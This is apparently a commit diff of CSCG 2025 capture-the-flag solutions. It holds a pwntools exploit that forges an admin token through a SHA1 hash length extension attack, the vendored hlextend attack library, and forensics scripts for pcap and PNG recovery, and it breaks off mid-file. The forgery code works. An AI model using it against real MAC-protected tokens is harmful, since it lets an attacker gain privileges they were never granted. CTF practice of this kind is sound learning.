cscg25 continues
This commit is contained in:
@@ -1,72 +1,18 @@
|
||||
from pwn import *
|
||||
from base64 import b64encode, b64decode
|
||||
import struct
|
||||
import binascii
|
||||
|
||||
import hlextend
|
||||
|
||||
KEY_LENGTH_BYTES = 16
|
||||
LOCAL = True
|
||||
LOCAL = True
|
||||
|
||||
if not LOCAL:
|
||||
p = remote("190b6910a0ded80a0296d180-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
|
||||
if LOCAL:
|
||||
p = process(["python", "main.py"])# Define functions for convenience
|
||||
else:
|
||||
p = remote("965850e570d3b775de1709a2-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
|
||||
|
||||
menu_string = b"\n 1. Register\n 2. Show animal videos\n 3. Show flag\n 4. Exit\n \nEnter your choice:"
|
||||
|
||||
class SHA1:
|
||||
def __init__(self, h0, h1, h2, h3, h4, message_byte_length):
|
||||
self.h0 = h0
|
||||
self.h1 = h1
|
||||
self.h2 = h2
|
||||
self.h3 = h3
|
||||
self.h4 = h4
|
||||
self.message_byte_length = message_byte_length
|
||||
|
||||
def _left_rotate(self, n, b):
|
||||
return ((n << b) | (n >> (32 - b))) & 0xffffffff
|
||||
|
||||
def update(self, message):
|
||||
message_byte_length = len(message)
|
||||
message_bit_length = (self.message_byte_length + message_byte_length) * 8
|
||||
message += b'\x80'
|
||||
message += b'\x00' * ((56 - (len(message) % 64)) % 64)
|
||||
message += struct.pack('>Q', message_bit_length)
|
||||
|
||||
for chunk_offset in range(0, len(message), 64):
|
||||
w = list(struct.unpack('>16I', message[chunk_offset:chunk_offset + 64]))
|
||||
w.extend(0 for _ in range(64))
|
||||
for i in range(16, 80):
|
||||
w[i] = self._left_rotate(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1)
|
||||
|
||||
a, b, c, d, e = self.h0, self.h1, self.h2, self.h3, self.h4
|
||||
for i in range(80):
|
||||
if 0 <= i < 20:
|
||||
f = (b & c) | (~b & d)
|
||||
k = 0x5A827999
|
||||
elif 20 <= i < 40:
|
||||
f = b ^ c ^ d
|
||||
k = 0x6ED9EBA1
|
||||
elif 40 <= i < 60:
|
||||
f = (b & c) | (b & d) | (c & d)
|
||||
k = 0x8F1BBCDC
|
||||
else:
|
||||
f = b ^ c ^ d
|
||||
k = 0xCA62C1D6
|
||||
|
||||
temp = (self._left_rotate(a, 5) + f + e + k + w[i]) & 0xffffffff
|
||||
e = d
|
||||
d = c
|
||||
c = self._left_rotate(b, 30)
|
||||
b = a
|
||||
a = temp
|
||||
|
||||
self.h0 = (self.h0 + a) & 0xffffffff
|
||||
self.h1 = (self.h1 + b) & 0xffffffff
|
||||
self.h2 = (self.h2 + c) & 0xffffffff
|
||||
self.h3 = (self.h3 + d) & 0xffffffff
|
||||
self.h4 = (self.h4 + e) & 0xffffffff
|
||||
|
||||
def digest(self):
|
||||
return struct.pack('>5I', self.h0, self.h1, self.h2, self.h3, self.h4)
|
||||
|
||||
def recv_until(delim):
|
||||
return p.recvuntil(delim)
|
||||
|
||||
@@ -92,53 +38,24 @@ def show_flag(token: bytes):
|
||||
p.sendline(token)
|
||||
interact()
|
||||
|
||||
def sha1_padding(message_length):
|
||||
padding = b'\x80'
|
||||
padding += b'\x00' * ((56 - (message_length + 1) % 64) % 64)
|
||||
padding += struct.pack('>Q', message_length * 8)
|
||||
return padding
|
||||
|
||||
def get_mac(data: bytes) -> str:
|
||||
return sha1(KEY.encode("latin1") + data).hexdigest()
|
||||
|
||||
|
||||
if LOCAL:
|
||||
print("Enter token:")
|
||||
token = input()
|
||||
else:
|
||||
token = register()
|
||||
token = register()
|
||||
|
||||
string_token = b64decode(token)
|
||||
claims, mac = string_token.split(b"|mac=")
|
||||
|
||||
print(f"{token} : {string_token}")
|
||||
|
||||
padding = sha1_padding(KEY_LENGTH_BYTES + len(claims))
|
||||
print(f"{claims}")
|
||||
print(f"{mac}")
|
||||
|
||||
injection = "|admin=true".encode("latin1")
|
||||
|
||||
forged_msg = claims + padding + injection
|
||||
|
||||
h = struct.unpack('>5I', bytes.fromhex(mac.decode("latin1")))
|
||||
|
||||
sha1 = SHA1(*h, message_byte_length=len(forged_msg) - len(injection))
|
||||
sha1.update(injection)
|
||||
|
||||
forged_mac = sha1.digest().hex()
|
||||
|
||||
key = input("Input Key")
|
||||
|
||||
orig_sha1 = SHA1(*[0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0], message_byte_length=(len(forged_msg) + KEY_LENGTH_BYTES))
|
||||
orig_sha1.update(key.encode("latin1") + forged_msg)
|
||||
|
||||
real_mac = orig_sha1.digest().hex()
|
||||
|
||||
|
||||
print(f"forged mac: {forged_mac} | real mac: {real_mac}")
|
||||
sha_forge = hlextend.new('sha1')
|
||||
forged_msg = sha_forge.extend(injection, claims, KEY_LENGTH_BYTES, mac.decode("latin1"))
|
||||
forged_mac = sha_forge.hexdigest()
|
||||
|
||||
secure_token = forged_msg + f"|mac={forged_mac}".encode("latin1")
|
||||
secure_token = b64encode(secure_token).decode("latin1")
|
||||
|
||||
if LOCAL:
|
||||
print(secure_token)
|
||||
else:
|
||||
show_flag(secure_token)
|
||||
show_flag(secure_token)
|
||||
p.interactive()
|
||||
|
||||
442
cscg25/crypto/intro2/hlextend.py
Normal file
442
cscg25/crypto/intro2/hlextend.py
Normal file
@@ -0,0 +1,442 @@
|
||||
# Copyright (C) 2014 by Stephen Bradshaw
|
||||
#
|
||||
# SHA1 and SHA2 generation routines from SlowSha https://code.google.com/p/slowsha/
|
||||
# which is: Copyright (C) 2011 by Stefano Palazzo
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
|
||||
'''
|
||||
Pure Python Hash Length Extension module.
|
||||
|
||||
Currently supports SHA1, SHA256 and SHA512, more algorithms will
|
||||
be added in the future.
|
||||
|
||||
|
||||
Create a hash by calling one of the named constuctor functions:
|
||||
sha1(), sha256(), and sha512(), or by calling new(algorithm).
|
||||
|
||||
The hash objects have the following methods:
|
||||
|
||||
hash(message):
|
||||
|
||||
Feeds data into the hash function using the normal interface.
|
||||
|
||||
extend(appendData, knownData, secretLength, startHash):
|
||||
|
||||
Performs a hash length extension attack. Returns the bytestring to
|
||||
use when appending data.
|
||||
|
||||
hexdigest():
|
||||
|
||||
Returns a hexlified version of the hash output.
|
||||
|
||||
|
||||
Assume you have a hash generated from an unknown secret value concatenated with
|
||||
a known value, and you want to be able to produce a valid hash after appending
|
||||
additional data to the known value.
|
||||
|
||||
If the hash algorithm used is one of the vulnerable functions implemented in
|
||||
this module, is is possible to achieve this without knowing the secret value
|
||||
as long as you know (or can guess, perhaps by brute force) the length of that
|
||||
secret value. This is called a hash length extension attack.
|
||||
|
||||
Given an existing sha1 hash value '52e98441017043eee154a6d1af98c5e0efab055c',
|
||||
known data of 'hello', an unknown secret of length 10 and data you wish
|
||||
to append of 'file', you would do the following to perform the attack:
|
||||
|
||||
>>> import hlextend
|
||||
>>> sha = hlextend.new('sha1')
|
||||
>>> print sha.extend(b'file', b'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
|
||||
b'hello\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xfile'
|
||||
>>> print sha.hexdigest()
|
||||
c60fa7de0860d4048a3bfb36b70299a95e6587c9
|
||||
|
||||
The unknown secret (of length 10), that when hashed appended with 'hello' produces
|
||||
a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce
|
||||
a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output
|
||||
from the extend function above.
|
||||
|
||||
If you are not sure of the exact length of the secret value, simply try the above
|
||||
multiple times specifying different values for the length to brute force.
|
||||
'''
|
||||
|
||||
|
||||
from re import match
|
||||
from math import ceil
|
||||
from typing import Union
|
||||
|
||||
|
||||
__version__ = "0.2"
|
||||
|
||||
|
||||
class Hash(object):
|
||||
'''Parent class for hash functions'''
|
||||
|
||||
def hash(self, message):
|
||||
'''Normal input for data into hash function'''
|
||||
|
||||
length = bin(len(message) * 8)[2:].rjust(self._blockSize, "0")
|
||||
|
||||
while len(message) > self._blockSize:
|
||||
self._transform(''.join([bin(a)[2:].rjust(8, "0")
|
||||
for a in message[:self._blockSize]]))
|
||||
message = message[self._blockSize:]
|
||||
|
||||
message = self.__hashBinaryPad(message, length)
|
||||
|
||||
for a in range(len(message) // self._b2):
|
||||
self._transform(message[a * self._b2:a * self._b2 + self._b2])
|
||||
|
||||
def extend(self, appendData, knownData, secretLength, startHash):
|
||||
'''Hash length extension input for data into hash function'''
|
||||
self.__checkInput(secretLength, startHash)
|
||||
self.__setStartingHash(startHash)
|
||||
|
||||
extendLength = self.__hashGetExtendLength(
|
||||
secretLength, knownData, appendData)
|
||||
|
||||
message = appendData
|
||||
|
||||
while len(message) > self._blockSize:
|
||||
self._transform(''.join([bin(a)[2:].rjust(8, "0")
|
||||
for a in message[:self._blockSize]]))
|
||||
message = message[self._blockSize:]
|
||||
|
||||
message = self.__hashBinaryPad(message, extendLength)
|
||||
|
||||
for i in range(len(message) // self._b2):
|
||||
self._transform(message[i * self._b2:i * self._b2 + self._b2])
|
||||
|
||||
return self.__hashGetPadData(secretLength, knownData, appendData)
|
||||
|
||||
def hexdigest(self):
|
||||
'''Outputs hash data in hexlified format'''
|
||||
return ''.join([(('%0' + str(self._b1) + 'x') % (a)) for a in self.__digest()])
|
||||
|
||||
def __init__(self):
|
||||
# pre calculate some values that get used a lot
|
||||
self._b1 = self._blockSize/8
|
||||
self._b2 = self._blockSize*8
|
||||
|
||||
def __digest(self):
|
||||
return [self.__getattribute__(a) for a in dir(self) if match('^_h\d+$', a)]
|
||||
|
||||
def __setStartingHash(self, startHash):
|
||||
c = 0
|
||||
hashVals = [int(startHash[a:a+int(self._b1)], base=16)
|
||||
for a in range(0, len(startHash), int(self._b1))]
|
||||
for hv in [a for a in dir(self) if match('^_h\d+$', a)]:
|
||||
self.__setattr__(hv, hashVals[c])
|
||||
c += 1
|
||||
print(hashVals)
|
||||
|
||||
def __checkInput(self, secretLength, startHash):
|
||||
if not isinstance(secretLength, int):
|
||||
raise TypeError('secretLength must be a valid integer')
|
||||
if secretLength < 1:
|
||||
raise ValueError('secretLength must be grater than 0')
|
||||
if not match('^[a-fA-F0-9]{' + str(len(self.hexdigest())) + '}$', startHash):
|
||||
raise ValueError('startHash must be a string of length ' +
|
||||
str(len(self.hexdigest())) + ' in hexlified format')
|
||||
|
||||
def __byter(self, byteVal):
|
||||
'''Helper function to return usable values for hash extension append data'''
|
||||
if byteVal < 0x20 or byteVal > 0x7e:
|
||||
return '\\x%02x' % (byteVal)
|
||||
else:
|
||||
return chr(byteVal)
|
||||
|
||||
def __binToByte(self, binary) -> bytearray:
|
||||
return int(binary, 2).to_bytes(len(binary) // 8, byteorder='big')
|
||||
|
||||
def __hashGetExtendLength(self, secretLength, knownData, appendData):
|
||||
'''Length function for hash length extension attacks'''
|
||||
# binary length (secretLength + len(knownData) + size of binarysize+1) rounded to a multiple of blockSize + length of appended data
|
||||
originalHashLength = int(ceil(
|
||||
(secretLength+len(knownData)+self._b1+1)/float(self._blockSize)) * self._blockSize)
|
||||
newHashLength = originalHashLength + len(appendData)
|
||||
return bin(newHashLength * 8)[2:].rjust(self._blockSize, "0")
|
||||
|
||||
def __hashGetPadData(self, secretLength, knownData, appendData):
|
||||
'''Return append value for hash extension attack'''
|
||||
originalHashLength = bin(
|
||||
(secretLength+len(knownData)) * 8)[2:].rjust(self._blockSize, "0")
|
||||
padData = ''.join(bin(i)[2:].rjust(8, "0")
|
||||
for i in knownData) + "1"
|
||||
padData += "0" * (((self._blockSize*7) - (len(padData)+(secretLength*8)) %
|
||||
self._b2) % self._b2) + originalHashLength
|
||||
|
||||
return self.__binToByte(padData) + appendData
|
||||
|
||||
def __hashBinaryPad(self, message, length):
|
||||
'''Pads the final blockSize block with \x80, zeros, and the length, converts to binary'''
|
||||
out_msg = ''
|
||||
|
||||
for i in message:
|
||||
out_msg += bin(i)[2:].rjust(8, "0")
|
||||
|
||||
out_msg += "1"
|
||||
out_msg += "0" * (((self._blockSize*7) - len(out_msg) % self._b2) % self._b2) + length
|
||||
|
||||
return out_msg
|
||||
|
||||
|
||||
class SHA1 (Hash):
|
||||
|
||||
_h0, _h1, _h2, _h3, _h4, = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0
|
||||
_blockSize = 64
|
||||
|
||||
def _transform(self, chunk):
|
||||
|
||||
def lrot(x, n): return (x << n) | (x >> (32 - n))
|
||||
w = []
|
||||
|
||||
for j in range(len(chunk) // 32):
|
||||
w.append(int(chunk[j * 32:j * 32 + 32], 2))
|
||||
|
||||
for i in range(16, 80):
|
||||
w.append(lrot(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1)
|
||||
& 0xffffffff)
|
||||
|
||||
a = self._h0
|
||||
b = self._h1
|
||||
c = self._h2
|
||||
d = self._h3
|
||||
e = self._h4
|
||||
|
||||
for i in range(80):
|
||||
|
||||
if i <= i <= 19:
|
||||
f, k = d ^ (b & (c ^ d)), 0x5a827999
|
||||
elif 20 <= i <= 39:
|
||||
f, k = b ^ c ^ d, 0x6ed9eba1
|
||||
elif 40 <= i <= 59:
|
||||
f, k = (b & c) | (d & (b | c)), 0x8f1bbcdc
|
||||
elif 60 <= i <= 79:
|
||||
f, k = b ^ c ^ d, 0xca62c1d6
|
||||
|
||||
temp = lrot(a, 5) + f + e + k + w[i] & 0xffffffff
|
||||
a, b, c, d, e = temp, a, lrot(b, 30), c, d
|
||||
|
||||
self._h0 = (self._h0 + a) & 0xffffffff
|
||||
self._h1 = (self._h1 + b) & 0xffffffff
|
||||
self._h2 = (self._h2 + c) & 0xffffffff
|
||||
self._h3 = (self._h3 + d) & 0xffffffff
|
||||
self._h4 = (self._h4 + e) & 0xffffffff
|
||||
|
||||
|
||||
class SHA256 (Hash):
|
||||
|
||||
_h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
|
||||
0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
|
||||
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19)
|
||||
|
||||
_blockSize = 64
|
||||
|
||||
def _transform(self, chunk):
|
||||
def rrot(x, n): return (x >> n) | (x << (32 - n))
|
||||
w = []
|
||||
|
||||
k = [
|
||||
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
|
||||
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
|
||||
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
|
||||
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
|
||||
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
|
||||
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
|
||||
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
|
||||
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
|
||||
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
|
||||
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
|
||||
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
|
||||
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
|
||||
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
|
||||
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
|
||||
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
|
||||
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]
|
||||
|
||||
for j in range(len(chunk) // 32):
|
||||
w.append(int(chunk[j * 32:j * 32 + 32], 2))
|
||||
|
||||
for i in range(16, 64):
|
||||
s0 = rrot(w[i - 15], 7) ^ rrot(w[i - 15], 18) ^ (w[i - 15] >> 3)
|
||||
s1 = rrot(w[i - 2], 17) ^ rrot(w[i - 2], 19) ^ (w[i - 2] >> 10)
|
||||
w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffff)
|
||||
|
||||
a = self._h0
|
||||
b = self._h1
|
||||
c = self._h2
|
||||
d = self._h3
|
||||
e = self._h4
|
||||
f = self._h5
|
||||
g = self._h6
|
||||
h = self._h7
|
||||
|
||||
for i in range(64):
|
||||
s0 = rrot(a, 2) ^ rrot(a, 13) ^ rrot(a, 22)
|
||||
maj = (a & b) ^ (a & c) ^ (b & c)
|
||||
t2 = s0 + maj
|
||||
s1 = rrot(e, 6) ^ rrot(e, 11) ^ rrot(e, 25)
|
||||
ch = (e & f) ^ ((~ e) & g)
|
||||
t1 = h + s1 + ch + k[i] + w[i]
|
||||
|
||||
h = g
|
||||
g = f
|
||||
f = e
|
||||
e = (d + t1) & 0xffffffff
|
||||
d = c
|
||||
c = b
|
||||
b = a
|
||||
a = (t1 + t2) & 0xffffffff
|
||||
|
||||
self._h0 = (self._h0 + a) & 0xffffffff
|
||||
self._h1 = (self._h1 + b) & 0xffffffff
|
||||
self._h2 = (self._h2 + c) & 0xffffffff
|
||||
self._h3 = (self._h3 + d) & 0xffffffff
|
||||
self._h4 = (self._h4 + e) & 0xffffffff
|
||||
self._h5 = (self._h5 + f) & 0xffffffff
|
||||
self._h6 = (self._h6 + g) & 0xffffffff
|
||||
self._h7 = (self._h7 + h) & 0xffffffff
|
||||
|
||||
|
||||
class SHA512 (Hash):
|
||||
|
||||
_h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
|
||||
0x6a09e667f3bcc908, 0xbb67ae8584caa73b, 0x3c6ef372fe94f82b,
|
||||
0xa54ff53a5f1d36f1, 0x510e527fade682d1, 0x9b05688c2b3e6c1f,
|
||||
0x1f83d9abfb41bd6b, 0x5be0cd19137e2179)
|
||||
|
||||
_blockSize = 128
|
||||
|
||||
def _transform(self, chunk):
|
||||
|
||||
def rrot(x, n): return (x >> n) | (x << (64 - n))
|
||||
w = []
|
||||
|
||||
k = [
|
||||
0x428a2f98d728ae22, 0x7137449123ef65cd,
|
||||
0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc,
|
||||
0x3956c25bf348b538, 0x59f111f1b605d019,
|
||||
0x923f82a4af194f9b, 0xab1c5ed5da6d8118,
|
||||
0xd807aa98a3030242, 0x12835b0145706fbe,
|
||||
0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2,
|
||||
0x72be5d74f27b896f, 0x80deb1fe3b1696b1,
|
||||
0x9bdc06a725c71235, 0xc19bf174cf692694,
|
||||
0xe49b69c19ef14ad2, 0xefbe4786384f25e3,
|
||||
0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65,
|
||||
0x2de92c6f592b0275, 0x4a7484aa6ea6e483,
|
||||
0x5cb0a9dcbd41fbd4, 0x76f988da831153b5,
|
||||
0x983e5152ee66dfab, 0xa831c66d2db43210,
|
||||
0xb00327c898fb213f, 0xbf597fc7beef0ee4,
|
||||
0xc6e00bf33da88fc2, 0xd5a79147930aa725,
|
||||
0x06ca6351e003826f, 0x142929670a0e6e70,
|
||||
0x27b70a8546d22ffc, 0x2e1b21385c26c926,
|
||||
0x4d2c6dfc5ac42aed, 0x53380d139d95b3df,
|
||||
0x650a73548baf63de, 0x766a0abb3c77b2a8,
|
||||
0x81c2c92e47edaee6, 0x92722c851482353b,
|
||||
0xa2bfe8a14cf10364, 0xa81a664bbc423001,
|
||||
0xc24b8b70d0f89791, 0xc76c51a30654be30,
|
||||
0xd192e819d6ef5218, 0xd69906245565a910,
|
||||
0xf40e35855771202a, 0x106aa07032bbd1b8,
|
||||
0x19a4c116b8d2d0c8, 0x1e376c085141ab53,
|
||||
0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8,
|
||||
0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb,
|
||||
0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3,
|
||||
0x748f82ee5defb2fc, 0x78a5636f43172f60,
|
||||
0x84c87814a1f0ab72, 0x8cc702081a6439ec,
|
||||
0x90befffa23631e28, 0xa4506cebde82bde9,
|
||||
0xbef9a3f7b2c67915, 0xc67178f2e372532b,
|
||||
0xca273eceea26619c, 0xd186b8c721c0c207,
|
||||
0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178,
|
||||
0x06f067aa72176fba, 0x0a637dc5a2c898a6,
|
||||
0x113f9804bef90dae, 0x1b710b35131c471b,
|
||||
0x28db77f523047d84, 0x32caab7b40c72493,
|
||||
0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c,
|
||||
0x4cc5d4becb3e42b6, 0x597f299cfc657e2a,
|
||||
0x5fcb6fab3ad6faec, 0x6c44198c4a475817]
|
||||
|
||||
for j in range(len(chunk) // 64):
|
||||
w.append(int(chunk[j * 64:j * 64 + 64], 2))
|
||||
|
||||
for i in range(16, 80):
|
||||
s0 = rrot(w[i - 15], 1) ^ rrot(w[i - 15], 8) ^ (w[i - 15] >> 7)
|
||||
s1 = rrot(w[i - 2], 19) ^ rrot(w[i - 2], 61) ^ (w[i - 2] >> 6)
|
||||
w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffffffffffff)
|
||||
|
||||
a = self._h0
|
||||
b = self._h1
|
||||
c = self._h2
|
||||
d = self._h3
|
||||
e = self._h4
|
||||
f = self._h5
|
||||
g = self._h6
|
||||
h = self._h7
|
||||
|
||||
for i in range(80):
|
||||
s0 = rrot(a, 28) ^ rrot(a, 34) ^ rrot(a, 39)
|
||||
maj = (a & b) ^ (a & c) ^ (b & c)
|
||||
t2 = s0 + maj
|
||||
s1 = rrot(e, 14) ^ rrot(e, 18) ^ rrot(e, 41)
|
||||
ch = (e & f) ^ ((~ e) & g)
|
||||
t1 = h + s1 + ch + k[i] + w[i]
|
||||
|
||||
h = g
|
||||
g = f
|
||||
f = e
|
||||
e = (d + t1) & 0xffffffffffffffff
|
||||
d = c
|
||||
c = b
|
||||
b = a
|
||||
a = (t1 + t2) & 0xffffffffffffffff
|
||||
|
||||
self._h0 = (self._h0 + a) & 0xffffffffffffffff
|
||||
self._h1 = (self._h1 + b) & 0xffffffffffffffff
|
||||
self._h2 = (self._h2 + c) & 0xffffffffffffffff
|
||||
self._h3 = (self._h3 + d) & 0xffffffffffffffff
|
||||
self._h4 = (self._h4 + e) & 0xffffffffffffffff
|
||||
self._h5 = (self._h5 + f) & 0xffffffffffffffff
|
||||
self._h6 = (self._h6 + g) & 0xffffffffffffffff
|
||||
self._h7 = (self._h7 + h) & 0xffffffffffffffff
|
||||
|
||||
|
||||
def new(algorithm) -> Union[SHA1, SHA256, SHA512]:
|
||||
obj = {
|
||||
'sha1': SHA1,
|
||||
'sha256': SHA256,
|
||||
'sha512': SHA512,
|
||||
}[algorithm]()
|
||||
return obj
|
||||
|
||||
|
||||
def sha1():
|
||||
''' Returns a new sha1 hash object '''
|
||||
return new('sha1')
|
||||
|
||||
|
||||
def sha256():
|
||||
''' Returns a new sha256 hash object '''
|
||||
return new('sha256', )
|
||||
|
||||
|
||||
def sha512():
|
||||
''' Returns a new sha512 hash object '''
|
||||
return new('sha512', )
|
||||
|
||||
|
||||
__all__ = ('sha1', 'sha256', 'sha512')
|
||||
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from hashlib import sha1
|
||||
from base64 import b64encode, b64decode
|
||||
from secrets import token_hex
|
||||
|
||||
12
cscg25/forensics/intro2/extract_flag.py
Normal file
12
cscg25/forensics/intro2/extract_flag.py
Normal file
@@ -0,0 +1,12 @@
|
||||
from scapy.all import rdpcap
|
||||
|
||||
packets = rdpcap("./intro-forensics-2.pcapng")
|
||||
|
||||
filterd_packets = [packet for packet in packets if len(packet) == 87]
|
||||
|
||||
flag = b""
|
||||
|
||||
for packet in filterd_packets:
|
||||
flag += bytes.fromhex(hex(packet['TCP'].dport)[2:])
|
||||
|
||||
print(flag.decode())
|
||||
BIN
cscg25/forensics/intro3/reconstructed_11.png
Normal file
BIN
cscg25/forensics/intro3/reconstructed_11.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 736 KiB |
BIN
cscg25/forensics/intro3/reconstructed_20.png
Normal file
BIN
cscg25/forensics/intro3/reconstructed_20.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 736 KiB |
32
cscg25/forensics/intro3/restore_file.py
Normal file
32
cscg25/forensics/intro3/restore_file.py
Normal file
@@ -0,0 +1,32 @@
|
||||
from pngparser import PngParser, chunktypes
|
||||
import zlib
|
||||
|
||||
def calc_crc(chunk):
|
||||
return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big')
|
||||
|
||||
parser = PngParser("./intro-forensics-3")
|
||||
header = parser.get_header()
|
||||
header.crc = calc_crc(header)
|
||||
|
||||
data_chunks = [chunk for chunk in parser.get_all() if chunk.type not in [b"IHDR", b"IEND"]]
|
||||
|
||||
for chunk in data_chunks:
|
||||
chunk.crc = calc_crc(chunk)
|
||||
|
||||
end_chunk = parser.get_by_type(chunktypes.TYPE_IEND)
|
||||
end_chunk[0].crc = calc_crc(end_chunk[0])
|
||||
|
||||
correct_chunk = [data_chunks[21], data_chunks[16], data_chunks[18], data_chunks[24], data_chunks[4], data_chunks[13], data_chunks[23], data_chunks[5], data_chunks[19], data_chunks[10], data_chunks[8], data_chunks[6], data_chunks[14], data_chunks[15], data_chunks[2], data_chunks[9], data_chunks[22], data_chunks[3], data_chunks[1], data_chunks[17], data_chunks[12], data_chunks[0], data_chunks[7]]
|
||||
|
||||
possible_chunks = [(id,x) for id,x in enumerate(data_chunks) if x not in correct_chunk]
|
||||
|
||||
for (id, chunk) in possible_chunks:
|
||||
chunks = [header] + correct_chunk + [chunk] + end_chunk
|
||||
|
||||
png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", ""))
|
||||
|
||||
for chunk in chunks:
|
||||
png_file += chunk.to_bytes()
|
||||
|
||||
with open(f"reconstructed_{id}.png", "wb") as f:
|
||||
f.write(png_file)
|
||||
BIN
cscg25/forensics/intro3/test.png
Normal file
BIN
cscg25/forensics/intro3/test.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 16 MiB |
38
cscg25/forensics/intro3/test.py
Normal file
38
cscg25/forensics/intro3/test.py
Normal file
@@ -0,0 +1,38 @@
|
||||
from pngparser import PngParser, chunktypes, ChunkIHDR
|
||||
import zlib
|
||||
|
||||
|
||||
def calc_crc(chunk):
|
||||
return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big')
|
||||
|
||||
parser = PngParser("./test.png")
|
||||
|
||||
header = parser.get_header()
|
||||
header.crc = calc_crc(header)
|
||||
header = ChunkIHDR(chunktypes.TYPE_IHDR, header.data, header.crc)
|
||||
|
||||
print(header)
|
||||
|
||||
data_chunks = [chunk for chunk in parser.get_all() if chunk.type not in [b"IHDR", b"IEND"]]
|
||||
|
||||
data_chunks = data_chunks[:10]
|
||||
|
||||
for chunk in data_chunks:
|
||||
chunk.crc = calc_crc(chunk)
|
||||
|
||||
print([chunk.type for chunk in data_chunks])
|
||||
|
||||
end_chunk = parser.get_by_type(chunktypes.TYPE_IEND)
|
||||
end_chunk[0].crc = calc_crc(end_chunk[0])
|
||||
|
||||
chunks = [header] + data_chunks + end_chunk
|
||||
|
||||
png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", ""))
|
||||
|
||||
for chunk in chunks:
|
||||
png_file += chunk.to_bytes()
|
||||
|
||||
with open("test_cut.png", "wb") as f:
|
||||
f.write(png_file)
|
||||
|
||||
print(len(data_chunks))
|
||||
BIN
cscg25/forensics/intro3/test_cut.png
Normal file
BIN
cscg25/forensics/intro3/test_cut.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 114 KiB |
25
cscg25/misc/nokia/decode.py
Normal file
25
cscg25/misc/nokia/decode.py
Normal file
@@ -0,0 +1,25 @@
|
||||
import numpy as np
|
||||
import matplotlib.pyplot as plt
|
||||
|
||||
def decode_ota_bitmap(hex_data, width=72, height=14):
|
||||
# Step 1: Convert hex to binary string
|
||||
